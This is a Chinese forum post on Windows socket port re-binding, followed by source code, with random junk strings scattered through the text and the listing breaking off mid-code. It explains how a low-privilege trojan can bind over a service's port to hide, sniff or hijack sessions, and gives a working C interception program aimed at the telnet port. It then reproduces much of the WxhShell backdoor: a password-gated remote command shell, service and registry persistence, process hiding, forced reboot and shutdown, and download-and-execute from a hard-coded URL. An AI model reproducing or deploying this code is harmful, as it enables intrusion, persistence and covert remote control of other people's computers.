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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V-Sd[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lyy W  
QgU8 s'e  
  saddr.sin_family = AF_INET; $o0 iLFIX/  
d4>Z8FF|1B  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ay5i+)MD  
19Mu61  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ER5gmmVP@p  
QLEKsX7p>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ktFhc3);!  
:U3kW8;UMP  
  这意味着什么?意味着可以进行如下的攻击: ] 2eK  
|"/8XA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jr /pj?  
||hb~%JK6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  PT=2@kH  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 pb ~u E  
1 u| wMO  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  r? NznNVU  
m'6&9Ja k  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #\.,?A}9  
(Pf+0,2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 aJ-K?xQ  
A: 5x|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5Iy;oZ  
K]s[5  
  #include im9G,e  
  #include wsIW |@  
  #include wVicyiY]  
  #include    ;t<QTGJ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^;Y|3)vvB  
  int main() vY  }A  
  { s.N7qO^:E  
  WORD wVersionRequested; aE&,]'6  
  DWORD ret; m#PY,y  
  WSADATA wsaData; Tx|Ir+f6L  
  BOOL val; KxYwJ  
  SOCKADDR_IN saddr; Rs-]N1V  
  SOCKADDR_IN scaddr;  86 W9rR  
  int err; 6:Ch^c+IZ  
  SOCKET s; aY'C%^h]  
  SOCKET sc; ]iN'x?Fo  
  int caddsize; #{?PbBE}  
  HANDLE mt; P9^-6;'Y  
  DWORD tid;   trPAYa}W  
  wVersionRequested = MAKEWORD( 2, 2 ); uxtWybv  
  err = WSAStartup( wVersionRequested, &wsaData ); 7n8~K3~;  
  if ( err != 0 ) { wRcAX%n&  
  printf("error!WSAStartup failed!\n"); Hv sob  
  return -1; ~P8tUhffK  
  } T>}5:,N~  
  saddr.sin_family = AF_INET; L+Xc-uv["p  
   *1p|5!4c  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @kpv{`Y  
2XFU1 AW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /y _O 4  
  saddr.sin_port = htons(23); %{AO+u2i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 01r 8$+  
  { t2F _uCr  
  printf("error!socket failed!\n"); k2c}3 MeP  
  return -1; 42e|LUZg  
  } 1|kvPo#  
  val = TRUE; Gn|F`F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "= 6_V?&w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) R:e<W/P"  
  { Hyb3 ;yQ  
  printf("error!setsockopt failed!\n"); _/uFsYC  
  return -1; K/tRe/t }  
  } 6-yd]("  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "U!AlZ`g  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WG N=Y~E  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ROg(U8 N  
0fb`08,^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) u.d).da  
  { pP*zq"o  
  ret=GetLastError(); C\/xl#e<@  
  printf("error!bind failed!\n"); co~Pyj  
  return -1; A?CcHw rT  
  } <j&DK2u=i  
  listen(s,2); %+8F'&X  
  while(1) ?o oe'V@  
  { tk!t Y8j  
  caddsize = sizeof(scaddr); TD'L'm|2  
  //接受连接请求 aGJC1x  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lG4H:[5V  
  if(sc!=INVALID_SOCKET) 'MEz|Z  
  { U}6.h&$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [s"O mAy4  
  if(mt==NULL) 4{hps.$?~  
  { X%Z{K-  
  printf("Thread Creat Failed!\n"); oFy=-p+C  
  break; `tHvD=`m.  
  } >TOu|r  
  } +W:= e,=  
  CloseHandle(mt); S0~2{ G"v  
  } =U#dJ^4P  
  closesocket(s); m@"QDMHk.  
  WSACleanup(); #JgH}|&a$  
  return 0; W%T>SpFl  
  }   OK{quM5  
  DWORD WINAPI ClientThread(LPVOID lpParam) h\5OrD@L  
  { k5D%y3|9  
  SOCKET ss = (SOCKET)lpParam; 8Eakif0CO  
  SOCKET sc; ;pqg/>W'  
  unsigned char buf[4096]; 12;8o<~  
  SOCKADDR_IN saddr; 2_n7=&  
  long num; 4SlADvGl  
  DWORD val; :YXX8|>  
  DWORD ret; AG!w4Ky`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 POdUV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }\HN&@  
  saddr.sin_family = AF_INET; &>%T^Y|J4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SnE(o)Q  
  saddr.sin_port = htons(23); aa>xIW,u  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R_sr?V|"  
  { `8^TTQ  
  printf("error!socket failed!\n"); E"+QJ~!  
  return -1; Svondc 4  
  } LXbP 2  
  val = 100; 4*Q#0`um  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^.1c{0Y^0  
  { 0Uo\wyd  
  ret = GetLastError(); J 4Nln  
  return -1; AtdlZ  
  } ]|MEx{BG-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .Xce9C0SW  
  { k\WR  ]  
  ret = GetLastError(); 1#.>a$>  
  return -1; Z @^9PQG$  
  } POvP]G9'"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) t.laO. 3  
  { ~(Q)"s\1I  
  printf("error!socket connect failed!\n"); 7( qE0R&@  
  closesocket(sc); P"W2(d  
  closesocket(ss); &Q>k7L!  
  return -1; !P)O(i=  
  } a4XU?-sUh  
  while(1) ^:#D0[  
  { h{AII  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 OY:,D  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 U-IpH+E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 fjU8gV  
  num = recv(ss,buf,4096,0); $lLz 3YS  
  if(num>0) 'R c,Mq'  
  send(sc,buf,num,0); } \XfH  
  else if(num==0) `}mcEl  
  break; K Pt5=a  
  num = recv(sc,buf,4096,0); NMa} <  
  if(num>0) p(~Yx3$*  
  send(ss,buf,num,0); i(iXD  
  else if(num==0) ~nrK>%  
  break; 0URji~?|x  
  } TNGU6j}oq  
  closesocket(ss); SzjkI+-$:  
  closesocket(sc); $4/yZaVb  
  return 0 ; Y8o)FVcyNy  
  } 8Le||)y,\  
Ed_N[ I   
*q()f\  
========================================================== 5*1D$mxD"  
B)qWtMZx  
下边附上一个代码,,WXhSHELL cUY`97bn  
^~3SSLS4"  
========================================================== B]uc<`f  
K#pNe c  
#include "stdafx.h" 9D7+[`r(-  
4scNSeW  
#include <stdio.h> ~zJ?H<>  
#include <string.h> /7}It$|nhy  
#include <windows.h> b)=[1g/=L  
#include <winsock2.h> U-R6xxPZ  
#include <winsvc.h> dvt9u9Vg=  
#include <urlmon.h> vvKEv/pN7  
OoA|8!CFa  
#pragma comment (lib, "Ws2_32.lib") v"#mzd.tW  
#pragma comment (lib, "urlmon.lib") QNpqdwu%h  
=y0C1LD+  
#define MAX_USER   100 // 最大客户端连接数 yuat" Pg  
#define BUF_SOCK   200 // sock buffer HbXPok  
#define KEY_BUFF   255 // 输入 buffer `/EGyN6X  
:9^;Qv*  
#define REBOOT     0   // 重启 a{ ?`t|  
#define SHUTDOWN   1   // 关机 wid;8%m  
|j#C|V%kV  
#define DEF_PORT   5000 // 监听端口 IW@PF7  
_Ou WB"  
#define REG_LEN     16   // 注册表键长度 .y@oz7T5  
#define SVC_LEN     80   // NT服务名长度 bO'Sgc[]  
*#tJM.Z  
// 从dll定义API 9983aFam  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :=wT vz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); il:$sd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HN&Z2v   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "CUty"R 8  
v?& -xH-S  
// wxhshell配置信息 :9$F'd\  
struct WSCFG { <;#~l*  
  int ws_port;         // 监听端口 -Xxqm%([71  
  char ws_passstr[REG_LEN]; // 口令 m0cP(  
  int ws_autoins;       // 安装标记, 1=yes 0=no S5G6Rj@W  
  char ws_regname[REG_LEN]; // 注册表键名 L:1^Kxg  
  char ws_svcname[REG_LEN]; // 服务名 UG'9*(*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k;w- E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WXmn1^"kK}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QrYpZZ;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {a4z2"\A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZE2$I^DY-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q.2ykL  
O'W0q;rT  
}; *T~Ve;3h;  
IGtl\b=  
// default Wxhshell configuration /XhIx\40 l  
struct WSCFG wscfg={DEF_PORT, UmQ?rS8d  
    "xuhuanlingzhe", sIK;x]Q)  
    1, k[HAkB \{  
    "Wxhshell", V\^EfQ  
    "Wxhshell", Qt/8r*Oe  
            "WxhShell Service", <K8\n^i~c  
    "Wrsky Windows CmdShell Service", gMaN)ESqd4  
    "Please Input Your Password: ", Dg} Ka7H  
  1, hED=u/ql[  
  "http://www.wrsky.com/wxhshell.exe", qUOKB6  
  "Wxhshell.exe" ;ByOth|9P  
    }; JXu$ew>q  
ui@2s;1t  
// 消息定义模块 }b0; 0j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l"2OP6d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $`- 4Ax4%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L30$%G|  
char *msg_ws_ext="\n\rExit."; bIEhgiH  
char *msg_ws_end="\n\rQuit."; 4=Krq6{  
char *msg_ws_boot="\n\rReboot..."; m q{];  
char *msg_ws_poff="\n\rShutdown..."; i}o[- S4  
char *msg_ws_down="\n\rSave to "; ;\\@q"n%<  
tX"Th'Qi  
char *msg_ws_err="\n\rErr!"; Ldl 5zc  
char *msg_ws_ok="\n\rOK!"; HjGyj/78w  
 R#DwF,  
char ExeFile[MAX_PATH]; 'I /aboDB  
int nUser = 0; e&qh9mlE  
HANDLE handles[MAX_USER]; H03jDM8Q  
int OsIsNt; * C6a?]  
YI.w-K\  
SERVICE_STATUS       serviceStatus; r,Nq7Txn?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o`q_wdy?  
3neIR@W  
// 函数声明 '^FGc  
int Install(void); t6A:Z mG_  
int Uninstall(void); }LijnHH.  
int DownloadFile(char *sURL, SOCKET wsh); V]vc(rH  
int Boot(int flag); S.d^T](  
void HideProc(void); <@Fy5k-%.  
int GetOsVer(void); }Iz7l{al   
int Wxhshell(SOCKET wsl); pKjoi{ Z  
void TalkWithClient(void *cs); p!<$vE  
int CmdShell(SOCKET sock); sqS=qC  
int StartFromService(void); bgK<pi)d  
int StartWxhshell(LPSTR lpCmdLine); &09U@uc$  
d'|, [p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ph#tgLJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Kmdlf,[3d  
b77>$[xB  
// 数据结构和表定义 vYU;_R  
SERVICE_TABLE_ENTRY DispatchTable[] = a+9 *@z2  
{ AT\qiznvP  
{wscfg.ws_svcname, NTServiceMain}, xGG,2W+z  
{NULL, NULL} _` [h,=  
}; ?^EXTU85`"  
f5GdZ_  
// 自我安装 >Z;jY*  
int Install(void) *\o/q[  
{ 1<h>B:  
  char svExeFile[MAX_PATH]; Vm|Y$ C  
  HKEY key; ,~);EC=`  
  strcpy(svExeFile,ExeFile); XJ0oS32_wK  
CY& hIh~S@  
// 如果是win9x系统,修改注册表设为自启动 ]D!k&j~P  
if(!OsIsNt) { "9bN+1[<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9P<[7u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _"%B7FK  
  RegCloseKey(key); zA;@@)hwR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XZ/[v8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N|Sf=q?Ko  
  RegCloseKey(key); <soz#}e  
  return 0; S i nl  
    } ~WpGf,  
  } n3`&zY  
} SgEBh  
else { tL+OCLF;  
:~ A%#  
// 如果是NT以上系统,安装为系统服务 z 8*8OWM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KnNh9^4"\2  
if (schSCManager!=0) }rdIUlVO\  
{ c0Dmq)HK?  
  SC_HANDLE schService = CreateService kpI{KISQu  
  ( \M"UmSB o  
  schSCManager, 4W#E`9 6u  
  wscfg.ws_svcname, D)brPMS:o  
  wscfg.ws_svcdisp, m"9XT)N  
  SERVICE_ALL_ACCESS, WpLZQ6wH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [,aqQ6S  
  SERVICE_AUTO_START, JNFIT;L  
  SERVICE_ERROR_NORMAL, BvU"4d;x  
  svExeFile, P &)1Rka  
  NULL, -OYDe@Wb]  
  NULL, nCKbgM'"  
  NULL, gs W0  
  NULL, YUdxG/~'  
  NULL z1!6%W_.  
  ); 3},Zlu  
  if (schService!=0) sK 2 e&  
  { 9%IlW  
  CloseServiceHandle(schService); Q#Y k?Kv~  
  CloseServiceHandle(schSCManager); WM)F0@"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #2tCV't  
  strcat(svExeFile,wscfg.ws_svcname); ZE `lr+_Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ==cd>03()  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %o}(sShS  
  RegCloseKey(key); {NCF6M k  
  return 0; s(_+!d6  
    } u7;~  
  } IF@HzT;Q  
  CloseServiceHandle(schSCManager); &l}?v@@+_  
} I@l>w._.  
} D0;tcm.$  
rQP"Y[  
return 1; U4Nh  
} AA:no=  
7);:ZpDv%L  
// 自我卸载 *g;-H&`  
int Uninstall(void) `Vq`z]}  
{ LihjGkj\g  
  HKEY key; (H?ZSeWx  
gNx+>h`AF  
if(!OsIsNt) { +/?iCmW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s~},y]YV  
  RegDeleteValue(key,wscfg.ws_regname); E-1"+p  
  RegCloseKey(key); ^UA(HthY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]Fb0Az  
  RegDeleteValue(key,wscfg.ws_regname); Qeb}!k2A  
  RegCloseKey(key); xiyxr R;  
  return 0; +[m8c){  
  } iQ^: ])m>  
} <3hA!$o~  
} K<v:-TjQZ:  
else { ,PWj_}|L[  
2*U.^]~"{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yZJ*dadAr  
if (schSCManager!=0) m h;X~.98  
{ #3kXmeyrD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8G ]w,eF  
  if (schService!=0) [$ :  
  { ^^(<c,NX#M  
  if(DeleteService(schService)!=0) { ;5 <-)  
  CloseServiceHandle(schService); cbKL$|  
  CloseServiceHandle(schSCManager); !ax;5@J  
  return 0; gUB{Bh($Y  
  } K%}}fw2RMN  
  CloseServiceHandle(schService); Y(GN4@`S  
  } |xr32g s  
  CloseServiceHandle(schSCManager); tiLu75vj  
} uv4 _:   
} Wn!G.(Jq  
#Nte^E4  
return 1; ?kt=z4h9(  
} jnoL2JR[=-  
30FykNh  
// 从指定url下载文件 PdY>#Cyh  
int DownloadFile(char *sURL, SOCKET wsh) MY-.t-3  
{ a%hGZCI  
  HRESULT hr; >Csbjf6  
char seps[]= "/"; |Vx~fKS\  
char *token; {@M14)-x>_  
char *file; FQf #*  
char myURL[MAX_PATH]; Xy#V Q{!  
char myFILE[MAX_PATH]; {TZE/A3D,  
u9![6$R  
strcpy(myURL,sURL); Y~oT)wTU  
  token=strtok(myURL,seps); Rq7p29w  
  while(token!=NULL) W81o"TR|pt  
  { Ohl} X 1  
    file=token; /~}_hO$S  
  token=strtok(NULL,seps); ZHy><=2  
  } a ]1i/3/  
F>:%Cyo0!  
GetCurrentDirectory(MAX_PATH,myFILE); ID8k/t!  
strcat(myFILE, "\\"); B[NJ^b|  
strcat(myFILE, file); 1&|Dsrj  
  send(wsh,myFILE,strlen(myFILE),0); 2 X<nn  
send(wsh,"...",3,0); 7dD.G/'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Xyv8LB  
  if(hr==S_OK) K="I<bK  
return 0; '7nJb6V,0l  
else $(>f8)Uku(  
return 1; I^fP k  
6tOi^+qN  
} ItK  
$P?{O3:V  
// 系统电源模块 o_ yRn16  
int Boot(int flag) xQz#i-v  
{ ^now}u9S6  
  HANDLE hToken; 0~xaUM`  
  TOKEN_PRIVILEGES tkp; X}apxSd"  
$e/*/.  
  if(OsIsNt) { /{N))  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n0.8)=;2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |t\KsW  
    tkp.PrivilegeCount = 1; [:i sZG*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R^9"N?Q7;`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  ,o&<WMD  
if(flag==REBOOT) { ?"@ET9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }%{=].)L  
  return 0; (G5T%[/U  
} vug-n 8  
else { 9kd.j@C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) < EXWWrm  
  return 0; ",ad7Y7i  
} yQS04Bl]  
  } =mJ F_Ri  
  else { 7l}~4dm2J  
if(flag==REBOOT) { n.;3X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) # J.u  
  return 0; R+^zy"~  
} @+0V& jc  
else { T` ;k!F46  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4 ? {*(  
  return 0; -~'kP /E^  
} a97Csxf;7  
} ^@ UjQ9[>  
<t6 d)mJ%  
return 1; &9h  
} /$OIlu  
-eYL*Pa  
// win9x进程隐藏模块 nE<J`Wo$f  
void HideProc(void) +GPd   
{ IuWX*b`v  
~mcZUiP9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H8"tbU  
  if ( hKernel != NULL ) o@@w^##  
  { -$tCF>,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tnRJ#[Io  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'WnpwY  
    FreeLibrary(hKernel); O<iI  
  } 3AP YO  
lDU#7\5.  
return; </hR!Sb]  
} O &\<FT5  
Jh(mbD  
// 获取操作系统版本 2 _Jb9:/X  
int GetOsVer(void) DD6'M U4  
{ A xR\ ned  
  OSVERSIONINFO winfo; &u4Ve8#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }JJ::*W2n  
  GetVersionEx(&winfo); Dzm qR0)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9>zDJx  
  return 1; 8"pA9Mr  
  else "{6KZ!+0  
  return 0; +TWJNI  
} 5YLho2h38!  
5z[6rT=a  
// 客户端句柄模块 7\ZL  
int Wxhshell(SOCKET wsl) .n=xbx:=  
{ ~{Ua92zV9  
  SOCKET wsh; R''Sfz>8  
  struct sockaddr_in client; ;>'SV~F  
  DWORD myID; (aBP|rxg  
'iDu0LX  
  while(nUser<MAX_USER) 0Sz/c+ 6  
{ :!hk~#yvJ9  
  int nSize=sizeof(client); DMRs}Yz6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vy:6_  
  if(wsh==INVALID_SOCKET) return 1; u4xA'X'~R  
3V!W@[ }:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @hBx, `H^  
if(handles[nUser]==0) \ /sF:~=  
  closesocket(wsh); t>-XT|lV  
else 5\5~L  
  nUser++; o+R. u}|  
  } I>8 Bc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?/^VOj4&  
vkh;qPD  
  return 0; Q)9369<A  
} [y$j9  
=1_jaDp  
// 关闭 socket gFgcxe6  
void CloseIt(SOCKET wsh) Q9nu"x %  
{ q w"e0q%)  
closesocket(wsh); G+;g:_E=  
nUser--; @D2`*C9  
ExitThread(0); <,#rtVO$  
} *Y^5M"AB_  
%{c2lyw  
// 客户端请求句柄 rHR5,N:  
void TalkWithClient(void *cs) CcbWW4 )  
{ !/[AQ{**T!  
.Pqj6Ko9  
  SOCKET wsh=(SOCKET)cs; Iy-u`S  
  char pwd[SVC_LEN]; #NSaY+V  
  char cmd[KEY_BUFF]; mfUKHX5  
char chr[1]; ;Ce 2d+K  
int i,j; _6| /P7"  
s-y'<(ll  
  while (nUser < MAX_USER) {  z, :+Oc  
$d5&~I  
if(wscfg.ws_passstr) { ]q@rGD85K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \"{/yjO|4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aj% `x4e A  
  //ZeroMemory(pwd,KEY_BUFF); '[0 3L9  
      i=0; %Tk}sfx  
  while(i<SVC_LEN) { F&-5&'6G+  
%_cg|yy  
  // 设置超时 b 49|4   
  fd_set FdRead; &xF4p,7  
  struct timeval TimeOut; }P7xdQ6  
  FD_ZERO(&FdRead); 6S` ,j  
  FD_SET(wsh,&FdRead); HP1X\h!Ke  
  TimeOut.tv_sec=8; h%4 ~0  
  TimeOut.tv_usec=0; ^2(";.m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Yk x&6M@t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D}3cW2!9  
wpJ^}+kF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &L2`L)  
  pwd=chr[0]; T749@!v`z  
  if(chr[0]==0xd || chr[0]==0xa) { '&&~IB4ud  
  pwd=0; $H %+k?  
  break; =W97|BIW,  
  } N$L&|4r  
  i++; !: `Ra  
    } a'(lVZA;  
+/1P^U /  
  // 如果是非法用户,关闭 socket 3RG/X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jnx+wcd  
} ;L MEU_  
6+5(.z-[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .T[!!z#^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u&Ie%@:h9R  
b3jU~L$  
while(1) { C]{V%jU  
E$oA+n~  
  ZeroMemory(cmd,KEY_BUFF); R;N>#_9HU  
,(5dQ`hA0  
      // 自动支持客户端 telnet标准   M]pel\{M  
  j=0; X,Q 6  
  while(j<KEY_BUFF) { `RL(N4H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `-E.n'+  
  cmd[j]=chr[0]; _j|n}7a  
  if(chr[0]==0xa || chr[0]==0xd) { GNj/jU<o!  
  cmd[j]=0; 'ocwXyP,  
  break; ,L8I7O}A;  
  } cftn`:(&8  
  j++; !~VR|n-  
    } 8O}A/*1FJ  
&)/H?S;yN  
  // 下载文件 3w6J V+?  
  if(strstr(cmd,"http://")) { `"1{Sx.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S(YHwH":  
  if(DownloadFile(cmd,wsh)) xw/h~:NT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UOOR0$4  
  else +5seT}h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MWp\D#H  
  }  G> 5=`  
  else { *]DJAF]  
XJV3oj   
    switch(cmd[0]) { 2Q;Y@%G  
  Bwi[qw  
  // 帮助 #RZJ1uL  
  case '?': { aL$c).hq0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UC<[z#]\;  
    break; [M zc^I&  
  } vX!dMJa0  
  // 安装 Xk7$?8r4&  
  case 'i': { 1&>nL`E[3  
    if(Install()) ~6Ee=NaLzP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S]e~)I gO  
    else +A&IxsTq5=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8[{0X4y3  
    break; \?Oly171  
    } lpX p )r+  
  // 卸载 `U?H^,FVA  
  case 'r': { PSrt/y!  
    if(Uninstall()) %V" +}Dr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h-)A?%Xt  
    else J 6d n~nPK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uk>/I l  
    break; k%4A::=  
    } qS[p|*BL  
  // 显示 wxhshell 所在路径 Qe=Q8cT  
  case 'p': { QP-<$P;~  
    char svExeFile[MAX_PATH]; - EX3' [*'  
    strcpy(svExeFile,"\n\r"); N_WA4?rB  
      strcat(svExeFile,ExeFile); \]d*h]Hms  
        send(wsh,svExeFile,strlen(svExeFile),0); b~jvmcr  
    break; Rc m(Y7  
    } "Jv,QTIcS  
  // 重启 I! eSJTN  
  case 'b': { H:nu>pz t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =B 4gEWR  
    if(Boot(REBOOT)) VAB&&AL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h"Yqm"U/  
    else { N#6A>  
    closesocket(wsh); H)}1xQ{3F  
    ExitThread(0); _bV=G#qKK  
    } H?r;S 5)c  
    break; *#{.\R-D  
    } "1j\ZCXK_Z  
  // 关机 )9sr,3w  
  case 'd': { 2|_Jup  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o3[sF  
